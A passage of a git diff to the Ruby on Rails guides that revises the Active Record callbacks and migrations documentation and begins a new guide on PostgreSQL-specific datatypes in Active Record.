-Callbacks work through model relationships, and can even be defined by them. Suppose an example where a user has many posts. A user's posts should be destroyed if the user is destroyed. Let's add an `after_destroy` callback to the `User` model by way of its relationship to the `Post` model:
+Callbacks work through model relationships, and can even be defined by them. Suppose an example where a user has many articles. A user's articles should be destroyed if the user is destroyed. Let's add an `after_destroy` callback to the `User` model by way of its relationship to the `Article` model:
 
 ```ruby
 class User < ActiveRecord::Base
-  has_many :posts, dependent: :destroy
+  has_many :articles, dependent: :destroy
 end
 
-class Post < ActiveRecord::Base
+class Article < ActiveRecord::Base
   after_destroy :log_destroy_action
 
   def log_destroy_action
-    puts 'Post destroyed'
+    puts 'Article destroyed'
   end
 end
 
 >> user = User.first
 => #<User id: 1>
->> user.posts.create!
-=> #<Post id: 1, user_id: 1>
+>> user.articles.create!
+=> #<Article id: 1, user_id: 1>
 >> user.destroy
-Post destroyed
+Article destroyed
 => #<User id: 1>
 ```
 
@@ -276,7 +330,7 @@ When writing conditional callbacks, it is possible to mix both `:if` and `:unles
 ```ruby
 class Comment < ActiveRecord::Base
   after_create :send_email_to_author, if: :author_wants_emails?,
-    unless: Proc.new { |comment| comment.post.ignore_comments? }
+    unless: Proc.new { |comment| comment.article.ignore_comments? }
 end
 ```
 
@@ -290,7 +344,7 @@ Here's an example where we create a class with an `after_destroy` callback for a
 ```ruby
 class PictureFileCallbacks
   def after_destroy(picture_file)
-    if File.exists?(picture_file.filepath)
+    if File.exist?(picture_file.filepath)
       File.delete(picture_file.filepath)
     end
   end
@@ -310,7 +364,7 @@ Note that we needed to instantiate a new `PictureFileCallbacks` object, since we
 ```ruby
 class PictureFileCallbacks
   def self.after_destroy(picture_file)
-    if File.exists?(picture_file.filepath)
+    if File.exist?(picture_file.filepath)
       File.delete(picture_file.filepath)
     end
   end
@@ -358,4 +412,4 @@ end
 NOTE: the `:on` option specifies when a callback will be fired. If you
 don't supply the `:on` option the callback will fire for every action.
 
-The `after_commit` and `after_rollback` callbacks are guaranteed to be called for all models created, updated, or destroyed within a transaction block. If any exceptions are raised within one of these callbacks, they will be ignored so that they don't interfere with the other callbacks. As such, if your callback code could raise an exception, you'll need to rescue it and handle it appropriately within the callback.
+WARNING. The `after_commit` and `after_rollback` callbacks are guaranteed to be called for all models created, updated, or destroyed within a transaction block. If any exceptions are raised within one of these callbacks, they will be ignored so that they don't interfere with the other callbacks. As such, if your callback code could raise an exception, you'll need to rescue it and handle it appropriately within the callback.
diff --git a/guides/source/migrations.md b/guides/source/active_record_migrations.md
index 414ce46a4e..b8db21a989 100644
--- a/guides/source/migrations.md
+++ b/guides/source/active_record_migrations.md
@@ -1,3 +1,5 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+
 Active Record Migrations
 ========================
 
@@ -18,9 +20,10 @@ After reading this guide, you will know:
 Migration Overview
 ------------------
 
-Migrations are a convenient way to alter your database schema over time in a
-consistent and easy way. They use a Ruby DSL so that you don't have to write
-SQL by hand, allowing your schema and changes to be database independent.
+Migrations are a convenient way to
+[alter your database schema over time](http://en.wikipedia.org/wiki/Schema_migration)
+in a consistent and easy way. They use a Ruby DSL so that you don't have to
+write SQL by hand, allowing your schema and changes to be database independent.
 
 You can think of each migration as being a new 'version' of the database. A
 schema starts off with nothing in it, and each migration modifies it to add or
@@ -38,7 +41,7 @@ class CreateProducts < ActiveRecord::Migration
       t.string :name
       t.text :description
 
-      t.timestamps
+      t.timestamps null: false
     end
   end
 end
@@ -120,7 +123,7 @@ Of course, calculating timestamps is no fun, so Active Record provides a
 generator to handle making it for you:
 
 ```bash
-$ rails generate migration AddPartNumberToProducts
+$ bin/rails generate migration AddPartNumberToProducts
 ```
 
 This will create an empty but appropriately named migration:
@@ -137,7 +140,7 @@ followed by a list of column names and types then a migration containing the
 appropriate `add_column` and `remove_column` statements will be created.
 
 ```bash
-$ rails generate migration AddPartNumberToProducts part_number:string
+$ bin/rails generate migration AddPartNumberToProducts part_number:string
 ```
 
 will generate
@@ -153,7 +156,7 @@ end
 If you'd like to add an index on the new column, you can do that as well:
 
 ```bash
-$ rails generate migration AddPartNumberToProducts part_number:string:index
+$ bin/rails generate migration AddPartNumberToProducts part_number:string:index
 ```
 
 will generate
@@ -171,7 +174,7 @@ end
 Similarly, you can generate a migration to remove a column from the command line:
 
 ```bash
-$ rails generate migration RemovePartNumberFromProducts part_number:string
+$ bin/rails generate migration RemovePartNumberFromProducts part_number:string
 ```
 
 generates
@@ -184,10 +187,10 @@ class RemovePartNumberFromProducts < ActiveRecord::Migration
 end
 ```
 
-You are not limited to one magically generated column. For example
+You are not limited to one magically generated column. For example:
 
 ```bash
-$ rails generate migration AddDetailsToProducts part_number:string price:decimal
+$ bin/rails generate migration AddDetailsToProducts part_number:string price:decimal
 ```
 
 generates
@@ -206,7 +209,7 @@ followed by a list of column names and types then a migration creating the table
 XXX with the columns listed will be generated. For example:
 
 ```bash
-$ rails generate migration CreateProducts name:string part_number:string
+$ bin/rails generate migration CreateProducts name:string part_number:string
 ```
 
 generates
@@ -227,10 +230,10 @@ or remove from it as you see fit by editing the
 `db/migrate/YYYYMMDDHHMMSS_add_details_to_products.rb` file.
 
 Also, the generator accepts column type as `references`(also available as
-`belongs_to`). For instance
+`belongs_to`). For instance:
 
 ```bash
-$ rails generate migration AddUserRefToProducts user:references
+$ bin/rails generate migration AddUserRefToProducts user:references
 ```
 
 generates
@@ -248,7 +251,7 @@ This migration will create a `user_id` column and appropriate index.
 There is also a generator which will produce join tables if `JoinTable` is part of the name:
 
 ```bash
-rails g migration CreateJoinTableCustomerProduct customer product
+$ bin/rails g migration CreateJoinTableCustomerProduct customer product
 ```
 
 will produce the following migration:
@@ -269,10 +272,10 @@ end
 The model and scaffold generators will create migrations appropriate for adding
 a new model. This migration will already contain instructions for creating the
 relevant table. If you tell Rails what columns you want, then statements for
-adding these columns will also be created. For example, running
+adding these columns will also be created. For example, running:
 
 ```bash
-$ rails generate model Product name:string description:text
+$ bin/rails generate model Product name:string description:text
 ```
 
 will create a migration that looks like this
@@ -284,7 +287,7 @@ class CreateProducts < ActiveRecord::Migration
       t.string :name
       t.text :description
 
-      t.timestamps
+      t.timestamps null: false
     end
   end
 end
@@ -292,20 +295,15 @@ end
 
 You can append as many column name/type pairs as you want.
 
-### Supported Type Modifiers
-
-You can also specify some options just after the field type between curly
-braces. You can use the following modifiers:
+### Passing Modifiers
 
-* `limit`        Sets the maximum size of the `string/text/binary/integer` fields
-* `precision`    Defines the precision for the `decimal` fields
-* `scale`        Defines the scale for the `decimal` fields
-* `polymorphic`  Adds a `type` column for `belongs_to` associations
+Some commonly used [type modifiers](#column-modifiers) can be passed directly on
+the command line. They are enclosed by curly braces and follow the field type:
 
-For instance, running
+For instance, running:
 
 ```bash
-$ rails generate migration AddDetailsToProducts price:decimal{5,2} supplier:references{polymorphic}
+$ bin/rails generate migration AddDetailsToProducts 'price:decimal{5,2}' supplier:references{polymorphic}
 ```
 
 will produce a migration that looks like this
@@ -313,12 +311,14 @@ will produce a migration that looks like this
 ```ruby
 class AddDetailsToProducts < ActiveRecord::Migration
   def change
-    add_column :products, :price, precision: 5, scale: 2
+    add_column :products, :price, :decimal, precision: 5, scale: 2
     add_reference :products, :supplier, polymorphic: true, index: true
   end
 end
 ```
 
+TIP: Have a look at the generators help output for further details.
+
 Writing a Migration
 -------------------
 
@@ -344,7 +344,7 @@ By default, `create_table` will create a primary key called `id`. You can change
 the name of the primary key with the `:primary_key` option (don't forget to
 update the corresponding model) or, if you don't want a primary key at all, you
 can pass the option `id: false`. If you need to pass database specific options
-you can place an SQL fragment in the `:options` option. For example,
+you can place an SQL fragment in the `:options` option. For example:
 
 ```ruby
 create_table :products, options: "ENGINE=BLACKHOLE" do |t|
@@ -358,7 +358,7 @@ will append `ENGINE=BLACKHOLE` to the SQL statement used to create the table
 ### Creating a Join Table
 
 Migration method `create_join_table` creates a HABTM join table. A typical use
-would be
+would be:
 
 ```ruby
 create_join_table :products, :categories
@@ -377,7 +377,7 @@ will create the `product_id` and `category_id` with the `:null` option as
 `true`.
 
 You can pass the option `:table_name` when you want to customize the table
-name. For example,
+name. For example:
 
 ```ruby
 create_join_table :products, :categories, table_name: :categorization
@@ -399,7 +399,7 @@ end
 
 A close cousin of `create_table` is `change_table`, used for changing existing
 tables. It is used in a similar fashion to `create_table` but the object
-yielded to the block knows more tricks. For example
+yielded to the block knows more tricks. For example:
 
 ```ruby
 change_table :products do |t|
@@ -413,13 +413,95 @@ end
 removes the `description` and `name` columns, creates a `part_number` string
 column and adds an index on it. Finally it renames the `upccode` column.
 
+### Changing Columns
+
+Like the `remove_column` and `add_column` Rails provides the `change_column`
+migration method.
+
+```ruby
+change_column :products, :part_number, :text
+```
+
+This changes the column `part_number` on products table to be a `:text` field.
+
+Besides `change_column`, the `change_column_null` and `change_column_default`
+methods are used specifically to change the null and default values of a
+column.
+
+```ruby
+change_column_null :products, :name, false
+change_column_default :products, :approved, false
+```
+
+This sets `:name` field on products to a `NOT NULL` column and the default
+value of the `:approved` field to false.
+
+TIP: Unlike `change_column` (and `change_column_default`), `change_column_null`
+is reversible.
+
+### Column Modifiers
+
+Column modifiers can be applied when creating or changing a column:
+
+* `limit`        Sets the maximum size of the `string/text/binary/integer` fields.
+* `precision`    Defines the precision for the `decimal` fields, representing the
+total number of digits in the number.
+* `scale`        Defines the scale for the `decimal` fields, representing the
+number of digits after the decimal point.
+* `polymorphic`  Adds a `type` column for `belongs_to` associations.
+* `null`         Allows or disallows `NULL` values in the column.
+* `default`      Allows to set a default value on the column. Note that if you
+are using a dynamic value (such as a date), the default will only be calculated
+the first time (i.e. on the date the migration is applied).
+* `index`        Adds an index for the column.
+* `required`     Adds `required: true` for `belongs_to` associations and
+`null: false` to the column in the migration.
+
+Some adapters may support additional options; see the adapter specific API docs
+for further information.
+
+### Foreign Keys
+
+While it's not required you might want to add foreign key constraints to
+[guarantee referential integrity](#active-record-and-referential-integrity).
+
+```ruby
+add_foreign_key :articles, :authors
+```
+
+This adds a new foreign key to the `author_id` column of the `articles`
+table. The key references the `id` column of the `authors` table. If the
+column names can not be derived from the table names, you can use the
+`:column` and `:primary_key` options.
+
+Rails will generate a name for every foreign key starting with
+`fk_rails_` followed by 10 random characters.
+There is a `:name` option to specify a different name if needed.
+
+NOTE: Active Record only supports single column foreign keys. `execute` and
+`structure.sql` are required to use composite foreign keys. See
+[Schema Dumping and You](#schema-dumping-and-you).
+
+Removing a foreign key is easy as well:
+
+```ruby
+# let Active Record figure out the column name
+remove_foreign_key :accounts, :branches
+
+# remove foreign key for a specific column
+remove_foreign_key :accounts, column: :owner_id
+
+# remove foreign key by name
+remove_foreign_key :accounts, name: :special_fk_name
+```
+
 ### When Helpers aren't Enough
 
 If the helpers provided by Active Record aren't enough you can use the `execute`
 method to execute arbitrary SQL:
 
 ```ruby
-Products.connection.execute('UPDATE `products` SET `price`=`free` WHERE 1')
+Product.connection.execute('UPDATE `products` SET `price`=`free` WHERE 1')
 ```
 
 For more details and examples of individual methods, check the API documentation.
@@ -443,6 +525,7 @@ definitions:
 * `add_index`
 * `add_reference`
 * `add_timestamps`
+* `add_foreign_key`
 * `create_table`
 * `create_join_table`
 * `drop_table` (must supply a block)
@@ -463,29 +546,28 @@ or write the `up` and `down` methods instead of using the `change` method.
 
 Complex migrations may require processing that Active Record doesn't know how
 to reverse. You can use `reversible` to specify what to do when running a
-migration what else to do when reverting it. For example,
+migration what else to do when reverting it. For example:
 
 ```ruby
 class ExampleMigration < ActiveRecord::Migration
   def change
-    create_table :products do |t|
-      t.references :category
+    create_table :distributors do |t|
+      t.string :zipcode
     end
 
     reversible do |dir|
       dir.up do
-        #add a foreign key
+        # add a CHECK constraint
         execute <<-SQL
-          ALTER TABLE products
-            ADD CONSTRAINT fk_products_categories
-            FOREIGN KEY (category_id)
-            REFERENCES categories(id)
+          ALTER TABLE distributors
+            ADD CONSTRAINT zipchk
+              CHECK (char_length(zipcode) = 5) NO INHERIT;
         SQL
       end
       dir.down do
         execute <<-SQL
-          ALTER TABLE products
-            DROP FOREIGN KEY fk_products_categories
+          ALTER TABLE distributors
+            DROP CONSTRAINT zipchk
         SQL
       end
     end
@@ -493,12 +575,13 @@ class ExampleMigration < ActiveRecord::Migration
     add_column :users, :home_page_url, :string
     rename_column :users, :email, :email_address
   end
+end
 ```
 
 Using `reversible` will ensure that the instructions are executed in the
 right order too. If the previous example migration is reverted,
 the `down` block will be run after the `home_page_url` column is removed and
-right before the table `products` is dropped.
+right before the table `distributors` is dropped.
 
 Sometimes your migration will do something which is just plain irreversible; for
 example, it might destroy some data. In such cases, you can raise
@@ -521,16 +604,15 @@ made in the `up` method. The example in the `reversible` section is equivalent t
 ```ruby
 class ExampleMigration < ActiveRecord::Migration
   def up
-    create_table :products do |t|
-      t.references :category
+    create_table :distributors do |t|
+      t.string :zipcode
     end
 
-    # add a foreign key
+    # add a CHECK constraint
     execute <<-SQL
-      ALTER TABLE products
-        ADD CONSTRAINT fk_products_categories
-        FOREIGN KEY (category_id)
-        REFERENCES categories(id)
+      ALTER TABLE distributors
+        ADD CONSTRAINT zipchk
+        CHECK (char_length(zipcode) = 5);
     SQL
 
     add_column :users, :home_page_url, :string
@@ -542,11 +624,11 @@ class ExampleMigration < ActiveRecord::Migration
     remove_column :users, :home_page_url
 
     execute <<-SQL
-      ALTER TABLE products
-        DROP FOREIGN KEY fk_products_categories
+      ALTER TABLE distributors
+        DROP CONSTRAINT zipchk
     SQL
 
-    drop_table :products
+    drop_table :distributors
   end
 end
 ```
@@ -577,43 +659,27 @@ end
 The `revert` method also accepts a block of instructions to reverse.
 This could be useful to revert selected parts of previous migrations.
 For example, let's imagine that `ExampleMigration` is committed and it
-is later decided it would be best to serialize the product list instead.
-One could write:
+is later decided it would be best to use Active Record validations,
+in place of the `CHECK` constraint, to verify the zipcode.
 
 ```ruby
-class SerializeProductListMigration < ActiveRecord::Migration
+class DontUseConstraintForZipcodeValidationMigration < ActiveRecord::Migration
   def change
-    add_column :categories, :product_list
-
-    reversible do |dir|
-      dir.up do
-        # transfer data from Products to Category#product_list
-      end
-      dir.down do
-        # create Products from Category#product_list
-      end
-    end
-
     revert do
       # copy-pasted code from ExampleMigration
-      create_table :products do |t|
-        t.references :category
-      end
-
       reversible do |dir|
         dir.up do
-          #add a foreign key
+          # add a CHECK constraint
           execute <<-SQL
-            ALTER TABLE products
-              ADD CONSTRAINT fk_products_categories
-              FOREIGN KEY (category_id)
-              REFERENCES categories(id)
+            ALTER TABLE distributors
+              ADD CONSTRAINT zipchk
+                CHECK (char_length(zipcode) = 5);
           SQL
         end
         dir.down do
           execute <<-SQL
-            ALTER TABLE products
-              DROP FOREIGN KEY fk_products_categories
+            ALTER TABLE distributors
+              DROP CONSTRAINT zipchk
           SQL
         end
       end
@@ -630,6 +696,10 @@ of `create_table` and `reversible`, replacing `create_table`
 by `drop_table`, and finally replacing `up` by `down` and vice-versa.
 This is all taken care of by `revert`.
 
+NOTE: If you want to add check constraints like in the examples above,
+you will have to use `structure.sql` as dump method. See
+[Schema Dumping and You](#schema-dumping-and-you).
+
 Running Migrations
 ------------------
 
@@ -641,16 +711,16 @@ method for all the migrations that have not yet been run. If there are
 no such migrations, it exits. It will run these migrations in order based
 on the date of the migration.
 
-Note that running the `db:migrate` also invokes the `db:schema:dump` task, which
+Note that running the `db:migrate` task also invokes the `db:schema:dump` task, which
 will update your `db/schema.rb` file to match the structure of your database.
 
 If you specify a target version, Active Record will run the required migrations
 (change, up, down) until it has reached the specified version. The version
 is the numerical prefix on the migration's filename. For example, to migrate
-to version 20080906120000 run
+to version 20080906120000 run:
 
 ```bash
-$ rake db:migrate VERSION=20080906120000
+$ bin/rake db:migrate VERSION=20080906120000
 ```
 
 If version 20080906120000 is greater than the current version (i.e., it is
@@ -664,10 +734,10 @@ down to, but not including, 20080906120000.
 
 A common task is to rollback the last migration. For example, if you made a
 mistake in it and wish to correct it. Rather than tracking down the version
-number associated with the previous migration you can run
+number associated with the previous migration you can run:
 
 ```bash
-$ rake db:rollback
+$ bin/rake db:rollback
 ```
 
 This will rollback the latest migration, either by reverting the `change`
@@ -675,17 +745,17 @@ method or by running the `down` method. If you need to undo
 several migrations you can provide a `STEP` parameter:
 
 ```bash
-$ rake db:rollback STEP=3
+$ bin/rake db:rollback STEP=3
 ```
 
 will revert the last 3 migrations.
 
 The `db:migrate:redo` task is a shortcut for doing a rollback and then migrating
 back up again. As with the `db:rollback` task, you can use the `STEP` parameter
-if you need to go more than one version back, for example
+if you need to go more than one version back, for example:
 
 ```bash
-$ rake db:migrate:redo STEP=3
+$ bin/rake db:migrate:redo STEP=3
 ```
 
 Neither of these Rake tasks do anything you could not do with `db:migrate`. They
@@ -703,19 +773,19 @@ The `rake db:reset` task will drop the database and set it up again. This is
 functionally equivalent to `rake db:drop db:setup`.
 
 NOTE: This is not the same as running all the migrations. It will only use the
-contents of the current schema.rb file. If a migration can't be rolled back,
-'rake db:reset' may not help you. To find out more about dumping the schema see
-'[schema dumping and you](#schema-dumping-and-you).'
+contents of the current `schema.rb` file. If a migration can't be rolled back,
+`rake db:reset` may not help you. To find out more about dumping the schema see
+[Schema Dumping and You](#schema-dumping-and-you) section.
 
 ### Running Specific Migrations
 
 If you need to run a specific migration up or down, the `db:migrate:up` and
 `db:migrate:down` tasks will do that. Just specify the appropriate version and
 the corresponding migration will have its `change`, `up` or `down` method
-invoked, for example,
+invoked, for example:
 
 ```bash
-$ rake db:migrate:up VERSION=20080906120000
+$ bin/rake db:migrate:up VERSION=20080906120000
 ```
 
 will run the 20080906120000 migration by running the `change` method (or the
@@ -731,7 +801,7 @@ To run migrations against another environment you can specify it using the
 migrations against the `test` environment you could run:
 
 ```bash
-$ rake db:migrate RAILS_ENV=test
+$ bin/rake db:migrate RAILS_ENV=test
 ```
 
 ### Changing the Output of Running Migrations
@@ -754,7 +824,7 @@ Several methods are provided in migrations that allow you to control all this:
 | say                  | Takes a message argument and outputs it as is. A second boolean argument can be passed to specify whether to indent or not.
 | say_with_time        | Outputs text along with how long it took to run its block. If the block returns an integer it assumes it is the number of rows affected.
 
-For example, this migration
+For example, this migration:
 
 ```ruby
 class CreateProducts < ActiveRecord::Migration
@@ -763,7 +833,7 @@ class CreateProducts < ActiveRecord::Migration
       create_table :products do |t|
         t.string :name
         t.text :description
-        t.timestamps
+        t.timestamps null: false
       end
     end
 
@@ -817,159 +887,6 @@ The `revert` method can be helpful when writing a new migration to undo
 previous migrations in whole or in part
 (see [Reverting Previous Migrations](#reverting-previous-migrations) above).
 
-Using Models in Your Migrations
--------------------------------
-
-When creating or updating data in a migration it is often tempting to use one
-of your models. After all, they exist to provide easy access to the underlying
-data. This can be done, but some caution should be observed.
-
-For example, problems occur when the model uses database columns which are (1)
-not currently in the database and (2) will be created by this or a subsequent
-migration.
-
-Consider this example, where Alice and Bob are working on the same code base
-which contains a `Product` model:
-
-Bob goes on vacation.
-
-Alice creates a migration for the `products` table which adds a new column and
-initializes it:
-
-```ruby
-# db/migrate/20100513121110_add_flag_to_product.rb
-
-class AddFlagToProduct < ActiveRecord::Migration
-  def change
-    add_column :products, :flag, :boolean
-    reversible do |dir|
-      dir.up { Product.update_all flag: false }
-    end
-  end
-end
-```
-
-She also adds a validation to the `Product` model for the new column:
-
-```ruby
-# app/models/product.rb
-
-class Product < ActiveRecord::Base
-  validates :flag, inclusion: { in: [true, false] }
-end
-```
-
-Alice adds a second migration which adds another column to the `products`
-table and initializes it:
-
-```ruby
-# db/migrate/20100515121110_add_fuzz_to_product.rb
-
-class AddFuzzToProduct < ActiveRecord::Migration
-  def change
-    add_column :products, :fuzz, :string
-    reversible do |dir|
-      dir.up { Product.update_all fuzz: 'fuzzy' }
-    end
-  end
-end
-```
-
-She also adds a validation to the `Product` model for the new column:
-
-```ruby
-# app/models/product.rb
-
-class Product < ActiveRecord::Base
-  validates :flag, inclusion: { in: [true, false] }
-  validates :fuzz, presence: true
-end
-```
-
-Both migrations work for Alice.
-
-Bob comes back from vacation and:
-
-*   Updates the source - which contains both migrations and the latest version
-    of the Product model.
-*   Runs outstanding migrations with `rake db:migrate`, which
-    includes the one that updates the `Product` model.
-
-The migration crashes because when the model attempts to save, it tries to
-validate the second added column, which is not in the database when the _first_
-migration runs:
-
-```
-rake aborted!
-An error has occurred, this and all later migrations canceled:
-
-undefined method `fuzz' for #<Product:0x000001049b14a0>
-```
-
-A fix for this is to create a local model within the migration. This keeps
-Rails from running the validations, so that the migrations run to completion.
-
-When using a local model, it's a good idea to call
-`Product.reset_column_information` to refresh the Active Record cache for the
-`Product` model prior to updating data in the database.
-
-If Alice had done this instead, there would have been no problem:
-
-```ruby
-# db/migrate/20100513121110_add_flag_to_product.rb
-
-class AddFlagToProduct < ActiveRecord::Migration
-  class Product < ActiveRecord::Base
-  end
-
-  def change
-    add_column :products, :flag, :boolean
-    Product.reset_column_information
-    reversible do |dir|
-      dir.up { Product.update_all flag: false }
-    end
-  end
-end
-```
-
-```ruby
-# db/migrate/20100515121110_add_fuzz_to_product.rb
-
-class AddFuzzToProduct < ActiveRecord::Migration
-  class Product < ActiveRecord::Base
-  end
-
-  def change
-    add_column :products, :fuzz, :string
-    Product.reset_column_information
-    reversible do |dir|
-      dir.up { Product.update_all fuzz: 'fuzzy' }
-    end
-  end
-end
-```
-
-There are other ways in which the above example could have gone badly.
-
-For example, imagine that Alice creates a migration that selectively
-updates the `description` field on certain products. She runs the
-migration, commits the code, and then begins working on the next feature,
-which is to add a new column `fuzz` to the products table.
-
-She creates two migrations for this new feature, one which adds the new
-column, and a second which selectively updates the `fuzz` column based on
-other product attributes.
-
-These migrations run just fine, but when Bob comes back from his vacation
-and calls `rake db:migrate` to run all the outstanding migrations, he gets a
-subtle bug: The descriptions have defaults, and the `fuzz` column is present,
-but `fuzz` is `nil` on all products.
-
-The solution is again to use `Product.reset_column_information` before
-referencing the Product model in a migration, ensuring the Active Record's
-knowledge of the table structure is current before manipulating data in those
-records.
-
 Schema Dumping and You
 ----------------------
 
@@ -1031,16 +948,16 @@ that Active Record supports. This could be very useful if you were to
 distribute an application that is able to run against multiple databases.
 
 There is however a trade-off: `db/schema.rb` cannot express database specific
-items such as foreign key constraints, triggers, or stored procedures. While in
-a migration you can execute custom SQL statements, the schema dumper cannot
+items such as triggers, stored procedures or check constraints. While in a
+migration you can execute custom SQL statements, the schema dumper cannot
 reconstitute those statements from the database. If you are using features like
 this, then you should set the schema format to `:sql`.
 
 Instead of using Active Record's schema dumper, the database's structure will
 be dumped using a tool specific to the database (via the `db:structure:dump`
 Rake task) into `db/structure.sql`. For example, for PostgreSQL, the `pg_dump`
-utility is used. For MySQL, this file will contain the output of `SHOW CREATE
-TABLE` for the various tables.
+utility is used. For MySQL, this file will contain the output of
+`SHOW CREATE TABLE` for the various tables.
 
 Loading these schemas is simply a question of executing the SQL statements they
 contain. By definition, this will create a perfect copy of the database's
@@ -1052,11 +969,16 @@ schema into a RDBMS other than the one used to create it.
 Because schema dumps are the authoritative source for your database schema, it
 is strongly recommended that you check them into source control.
 
+`db/schema.rb` contains the current version number of the database. This
+ensures conflicts are going to happen in the case of a merge where both
+branches touched the schema. When that happens, solve conflicts manually,
+keeping the highest version number of the two.
+
 Active Record and Referential Integrity
 ---------------------------------------
 
 The Active Record way claims that intelligence belongs in your models, not in
-the database. As such, features such as triggers or foreign key constraints,
+the database. As such, features such as triggers or constraints,
 which push some of that intelligence back into the database, are not heavily
 used.
 
@@ -1065,14 +987,10 @@ which models can enforce data integrity. The `:dependent` option on
 associations allows models to automatically destroy child objects when the
 parent is destroyed. Like anything which operates at the application level,
 these cannot guarantee referential integrity and so some people augment them
-with foreign key constraints in the database.
-
-Although Active Record does not provide any tools for working directly with
-such features, the `execute` method can be used to execute arbitrary SQL. You
-can also use a gem like
-[foreigner](https://github.com/matthuhiggins/foreigner) which adds foreign key
-support to Active Record (including support for dumping foreign keys in
-`db/schema.rb`).
+with [foreign key constraints](#foreign-keys) in the database.
+
+Although Active Record does not provide all the tools for working directly with
+such features, the `execute` method can be used to execute arbitrary SQL.
 
 Migrations and Seed Data
 ------------------------
diff --git a/guides/source/active_record_postgresql.md b/guides/source/active_record_postgresql.md
new file mode 100644
index 0000000000..4d9c1776f4
--- /dev/null
+++ b/guides/source/active_record_postgresql.md
@@ -0,0 +1,438 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+
+Active Record and PostgreSQL
+============================
+
+This guide covers PostgreSQL specific usage of Active Record.
+
+After reading this guide, you will know:
+
+* How to use PostgreSQL's datatypes.
+* How to use UUID primary keys.
+* How to implement full text search with PostgreSQL.
+* How to back your Active Record models with database views.
+
+--------------------------------------------------------------------------------
+
+In order to use the PostgreSQL adapter you need to have at least version 8.2
+installed. Older versions are not supported.
+
+To get started with PostgreSQL have a look at the
+[configuring Rails guide](configuring.html#configuring-a-postgresql-database).
+It describes how to properly setup Active Record for PostgreSQL.
+
+Datatypes
+---------
+
+PostgreSQL offers a number of specific datatypes. Following is a list of types,
+that are supported by the PostgreSQL adapter.
+
+### Bytea
+
+* [type definition](http://www.postgresql.org/docs/9.3/static/datatype-binary.html)
+* [functions and operators](http://www.postgresql.org/docs/9.3/static/functions-binarystring.html)
+
+```ruby
+# db/migrate/20140207133952_create_documents.rb
+create_table :documents do |t|
+  t.binary 'payload'
+end
+
+# app/models/document.rb
+class Document < ActiveRecord::Base
+end
+
+# Usage
+data = File.read(Rails.root + "tmp/output.pdf")
+Document.create payload: data
+```
+
+### Array
+
+* [type definition](http://www.postgresql.org/docs/9.3/static/arrays.html)
+* [functions and operators](http://www.postgresql.org/docs/9.3/static/functions-array.html)
+
+```ruby
+# db/migrate/20140207133952_create_books.rb
+create_table :books do |t|
+  t.string 'title'
+  t.string 'tags', array: true
+  t.integer 'ratings', array: true
+end
+add_index :books, :tags, using: 'gin'
+add_index :books, :ratings, using: 'gin'
+
+# app/models/book.rb
+class Book < ActiveRecord::Base
+end
+
+# Usage
+Book.create title: "Brave New World",
+            tags: ["fantasy", "fiction"],
+            ratings: [4, 5]
+
+## Books for a single tag
+Book.where("'fantasy' = ANY (tags)")
+
+## Books for multiple tags
+Book.where("tags @> ARRAY[?]::varchar[]", ["fantasy", "fiction"])
+
+## Books with 3 or more ratings
+Book.where("array_length(ratings, 1) >= 3")
+```
+
+### Hstore
+
+* [type definition](http://www.postgresql.org/docs/9.3/static/hstore.html)
+
+NOTE: you need to enable the `hstore` extension to use hstore.
+
+```ruby
+# db/migrate/20131009135255_create_profiles.rb
+ActiveRecord::Schema.define do
+  enable_extension 'hstore' unless extension_enabled?('hstore')
+  create_table :profiles do |t|
+    t.hstore 'settings'
+  end
+end
+
+# app/models/profile.rb
+class Profile < ActiveRecord::Base
+end
+
+# Usage
+Profile.create(settings: { "color" => "blue", "resolution" => "800x600" })
+
+profile = Profile.first
+profile.settings # => {"color"=>"blue", "resolution"=>"800x600"}
+
+profile.settings = {"color" => "yellow", "resolution" => "1280x1024"}
+profile.save!
+```
+
+### JSON
+
+* [type definition](http://www.postgresql.org/docs/9.3/static/datatype-json.html)
+* [functions and operators](http://www.postgresql.org/docs/9.3/static/functions-json.html)
+
+```ruby
+# db/migrate/20131220144913_create_events.rb
+create_table :events do |t|
+  t.json 'payload'
+end
+
+# app/models/event.rb
+class Event < ActiveRecord::Base
+end
+
+# Usage
+Event.create(payload: { kind: "user_renamed", change: ["jack", "john"]})
+
+event = Event.first
+event.payload # => {"kind"=>"user_renamed", "change"=>["jack", "john"]}
+
+## Query based on JSON document
+# The -> operator returns the original JSON type (which might be an object), whereas ->> returns text
+Event.where("payload->>'kind' = ?", "user_renamed")
+```
+
+### Range Types
+
+* [type definition](http://www.postgresql.org/docs/9.3/static/rangetypes.html)
+* [functions and operators](http://www.postgresql.org/docs/9.3/static/functions-range.html)
+
+This type is mapped to Ruby [`Range`](http://www.ruby-doc.org/core-2.1.1/Range.html) objects.
+
+```ruby
+# db/migrate/20130923065404_create_events.rb
+create_table :events do |t|
+  t.daterange 'duration'
+end
+
+# app/models/event.rb
+class Event < ActiveRecord::Base
+end
+
+# Usage
+Event.create(duration: Date.new(2014, 2, 11)..Date.new(2014, 2, 12))
+
+event = Event.first
+event.duration # => Tue, 11 Feb 2014...Thu, 13 Feb 2014
+
+## All Events on a given date
+Event.where("duration @> ?::date", Date.new(2014, 2, 12))
+
+## Working with range bounds
+event = Event.
+  select("lower(duration) AS starts_at").
+  select("upper(duration) AS ends_at").first
+
+event.starts_at # => Tue, 11 Feb 2014
+event.ends_at # => Thu, 13 Feb 2014
+```
+
+### Composite Types
+
+* [type definition](http://www.postgresql.org/docs/9.3/static/rowtypes.html)
+
+Currently there is no special support for composite types. They are mapped to
+normal text columns:
+
+```sql
+CREATE TYPE full_address AS
+(
+  city VARCHAR(90),
+  street VARCHAR(90)
+);
+```
+
+```ruby
+# db/migrate/20140207133952_create_contacts.rb
+execute <<-SQL
+ CREATE TYPE full_address AS
+ (
+   city VARCHAR(90),
+   street VARCHAR(90)
+ );
+SQL
+create_table :contacts do |t|
+  t.column :address, :full_address
+end
+
+# app/models/contact.rb
+class Contact < ActiveRecord::Base
+end
+
+# Usage
+Contact.create address: "(Paris,Champs-Élysées)"
+contact = Contact.first
+contact.address # => "(Paris,Champs-Élysées)"
+contact.address = "(Paris,Rue Basse)"
+contact.save!
+```
+
+### Enumerated Types
+
+* [type definition](http://www.postgresql.org/docs/9.3/static/datatype-enum.html)
+
+Currently there is no special support for enumerated types. They are mapped as
+normal text columns:
+
+```ruby
+# db/migrate/20131220144913_create_articles.rb
